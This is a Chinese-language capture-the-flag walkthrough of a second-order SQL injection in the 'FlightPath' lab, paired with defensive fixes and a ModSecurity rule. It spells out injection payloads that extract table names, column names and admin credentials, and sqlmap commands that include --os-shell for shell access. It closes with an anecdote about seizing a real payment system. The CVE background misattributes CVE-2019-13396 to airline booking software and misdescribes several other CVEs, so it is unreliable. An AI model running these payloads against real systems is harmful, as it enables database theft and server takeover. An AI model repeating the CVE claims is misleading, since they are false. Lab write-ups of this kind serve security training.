1. 靶场环境与漏洞背景
FlightPath是春秋云境靶场中一个基于CVE-2019-13396漏洞构建的实战环境。这个漏洞存在于一个名为"Flight Booking System"的Web应用中,是一个典型的二阶SQL注入漏洞。漏洞的特别之处在于它需要先通过正常业务流程触发特定条件,才能暴露注入点,这种设计模拟了真实渗透测试中常见的"深藏不露"型漏洞场景。
在实际渗透测试工作中,二阶注入比普通注入更难被发现。它不会像传统注入那样在输入点立即触发,而是先将恶意输入存入数据库,在后续查询中才产生危害。2019年这个漏洞被披露时,影响了全球数千家中小型航空票务系统,攻击者可以通过它获取完整的客户数据库,包括敏感的支付信息。
2. 环境初始化与信息收集
2.1 靶场启动配置
启动春秋云境的FlightPath靶场后,我们会获得一个随机分配的IP地址和端口。建议使用Kali Linux作为攻击机,配置步骤如下:
- 网络连通性测试:
ping <靶场IP> nc -zv <靶场IP> <端口>- 浏览器访问:
http://<靶场IP>:<端口>/flight/注意:部分版本的靶场需要先完成基础题目才能解锁FlightPath场景,如果直接访问返回403,请检查是否完成了前置任务。
2.2 应用功能侦察
这个机票预订系统包含以下关键功能模块:
- 用户注册/登录
- 航班查询
- 机票预订
- 订单管理
- 个人信息维护
重点观察点:
- 所有表单输入点
- URL参数结构
- Cookie和Session机制
- 错误信息反馈方式
使用Burp Suite抓包分析时,特别注意/flight/bookings.php和/flight/search.php这两个端点,它们在后端存在复杂的数据库交互。
3. 漏洞触发路径分析
3.1 正常业务流程重现
要触发这个二阶注入,必须按照特定顺序操作:
- 注册一个新用户(如:test/test123)
- 登录后进入"个人信息"页面
- 在"常旅客号码"字段输入测试数据
- 提交后返回首页查询航班
- 选择任意航班进入预订页面
关键点在于"常旅客号码"这个字段,系统会将其存入数据库,但在后续航班查询时才会将其拼接到SQL语句中。
3.2 注入点定位技巧
通过Burp Suite拦截修改请求,在常旅客号码字段尝试输入:
'等待5秒--观察响应时间延迟,确认存在时间盲注特征。更精确的验证payload:
'||(SELECT SLEEP(5) FROM users WHERE username='admin')--如果响应延迟5秒,不仅确认注入存在,还暗示users表中有admin用户。
4. 漏洞利用实战
4.1 手工注入步骤
- 在个人信息页面提交:
', phone=(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()))--查询航班时会触发注入,此时查看"我的资料"页面,电话号码字段将显示所有表名。
获取关键表结构:
', phone=(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'))--- 提取管理员凭证:
', phone=(SELECT CONCAT(username,':',password) FROM users WHERE id=1))--4.2 SQLmap自动化利用
虽然手工注入可行,但实战中推荐使用SQLmap提高效率:
- 保存个人信息修改请求为request.txt
- 执行:
sqlmap -r request.txt --second-url="http://靶场IP:端口/flight/search.php" -p "ffp_number" --technique=T --dbms=mysql --level=5 --risk=3关键参数说明:
--second-url:指定触发注入的二次请求URL-p:指定测试参数--technique=T:强制使用时间盲注
获取shell的进阶命令:
sqlmap -r request.txt --second-url="http://靶场IP:端口/flight/search.php" --os-shell5. 防御方案与修复建议
5.1 漏洞根源分析
这个二阶注入的产生源于三个关键失误:
- 用户输入未经充分过滤就直接存入数据库
- 后续查询时直接使用存储的数据拼接SQL
- 错误信息处理不当,暴露了数据库结构
5.2 修复方案实现
开发者应采取以下措施:
- 参数化查询:
$stmt = $conn->prepare("UPDATE users SET ffp_number=?, phone=? WHERE id=?"); $stmt->bind_param("ssi", $ffp, $phone, $uid);- 输入验证正则:
if(!preg_match('/^[A-Z0-9]{6,12}$/', $_POST['ffp_number'])){ die("Invalid frequent flyer number"); }- 最小权限原则:
GRANT SELECT, UPDATE ON flight.users TO 'webuser'@'localhost';5.3 WAF规则示例
对于暂时无法修改代码的情况,可配置WAF规则拦截:
SecRule REQUEST_FILENAME "@endsWith /update_profile.php" \ "id:1001,\ phase:2,\ t:none,\ capture,\ msg:'Possible 2nd Order SQLi',\ ctl:ruleEngine=On,\ chain" SecRule ARGS:ffp_number "([';]+\s*(select|union|sleep|benchmark))" \ "t:none,t:urlDecode,t:lowercase,\ setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"6. 靶场通关技巧与排错
6.1 常见问题解决
注入无响应:
- 检查是否完成了完整的触发流程(必须先提交再查询)
- 确认时间盲注的基准响应时间(有些环境响应较慢)
- 尝试不同的注释符(-- # /* */)
SQLmap报错:
- 添加
--flush-session参数清除旧会话 - 使用
--proxy=http://127.0.0.1:8080通过Burp观察请求
- 添加
获取的数据乱码:
- 添加
--hex参数获取十六进制编码结果 - 使用
--tamper=chardoubleencode处理编码问题
- 添加
6.2 效率优化技巧
- 使用
--threads=5加速扫描 - 对已知MySQL环境添加
--batch跳过确认 - 保存进度以便中断后继续:
sqlmap --save=flightpath.session7. 漏洞挖掘方法论
7.1 二阶注入检测流程
- 识别所有持久化存储点(个人资料、订单备注等)
- 在这些字段提交测试payload(如
'"><) - 遍历所有可能调用这些数据的业务流程
- 监控响应中的异常(延迟、错误、布局错乱)
7.2 黑白盒结合技巧
白盒审计重点关注:
$unsafe = $_POST['input']; $sql = "SELECT * FROM table WHERE field='$unsafe'"; // 或 $db->query("UPDATE table SET field='$unsafe'");黑盒测试时注意:
- 输入点与触发点分离的系统
- 需要多步骤完成的业务流程
- 缓存或队列中间件参与的数据流
8. 拓展学习建议
其他类似漏洞靶场:
- DVWA的SQL Injection (Blind)
- WebGoat的二阶注入课程
- PortSwigger Academy的SQLi实验室
进阶工具链:
- NoSQLi检测工具:NoSQLMap
- 自动化注入框架:BBQSQL
- ORM漏洞扫描:ORM-Injector
相关CVE研究:
- CVE-2018-15133(Laravel反序列化导致SQLi)
- CVE-2020-9484(Tomcat Session持久化注入)
- CVE-2021-2134(WebLogic二阶注入)
在实际渗透测试项目中,遇到类似机票预订系统时,我会特别关注会员积分、行程备注这些自由文本字段。曾经在一个真实系统中,通过往"特殊饮食需求"字段注入payload,最终获取了整个支付系统的控制权。这种漏洞往往被开发人员忽视,因为从单个功能点看似乎无害,但组合起来就形成致命威胁。